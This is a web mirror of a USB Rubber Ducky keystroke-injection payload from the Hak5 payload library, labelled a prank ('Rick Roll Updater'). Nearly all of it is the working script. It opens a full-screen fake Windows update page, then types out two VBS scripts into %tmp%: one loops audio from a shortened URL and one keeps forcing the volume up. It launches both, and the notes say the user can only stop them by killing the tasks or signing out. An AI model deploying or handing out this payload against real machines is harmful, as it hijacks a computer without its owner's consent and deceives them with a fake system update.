Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/prank/RickUpdater/payload.txt
2968 views
1
REM Title: Rick Roll Updater
2
REM Author: MocconaCoffee
3
REM Description: Load a fake Windows 10 update screen and creates two Visual Basic Scripts *rickyou.vbs* and *volup.vbs* in the **%tmp%** directory.
4
REM Description: *rickyou.vbs* is responsible for playing the rick roll audio, while *volup.vbs* is responsible for maintaining the volume.
5
REM Notes: *The only way to cancel the rick roll is to manually end the VBS tasks via task manager or to sign out via CTRL ALT DELETE.
6
REM Tested OS: Windows 10 (other distributions of Windows haven't been tested, they may or may not work).
7
DELAY 3000
8
GUI r
9
DELAY 100
10
STRING https://fakeupdate.net/win10ue/
11
ENTER
12
DELAY 500
13
F11
14
DELAY 500
15
GUI r
16
DELAY 200
17
STRING cmd
18
ENTER
19
DELAY 200
20
STRING mode con: cols=20 lines=1
21
ENTER
22
DELAY 200
23
STRING color fe
24
ENTER
25
DELAY 500
26
STRING del %tmp%\rickyou.vbs
27
ENTER
28
DELAY 200
29
STRING del %tmp%\volup.vbs
30
ENTER
31
DELAY 200
32
STRING cd %tmp% && copy con rickyou.vbs
33
ENTER
34
STRING While true
35
ENTER
36
STRING Dim oPlayer
37
ENTER
38
STRING Set oPlayer = CreateObject("WMPlayer.OCX")
39
ENTER
40
STRING oPlayer.URL = "http://tinyurl.com/s63ve48"
41
ENTER
42
STRING oPlayer.controls.play
43
ENTER
44
STRING While oPlayer.playState <> 1 ' 1 = Stopped
45
ENTER
46
STRING WScript.Sleep 100
47
ENTER
48
STRING Wend
49
ENTER
50
STRING oPlayer.close
51
ENTER
52
STRING Wend
53
ENTER
54
DELAY 100
55
CTRL z
56
ENTER
57
STRING copy con volup.vbs
58
ENTER
59
STRING do
60
ENTER
61
STRING Set WshShell = CreateObject("WScript.Shell")
62
ENTER
63
STRING WshShell.SendKeys(chr(&hAF))
64
ENTER
65
STRING loop
66
ENTER
67
CTRL z
68
ENTER
69
STRING start rickyou.vbs && volup.vbs
70
ENTER
71
STRING exit
72
ENTER
73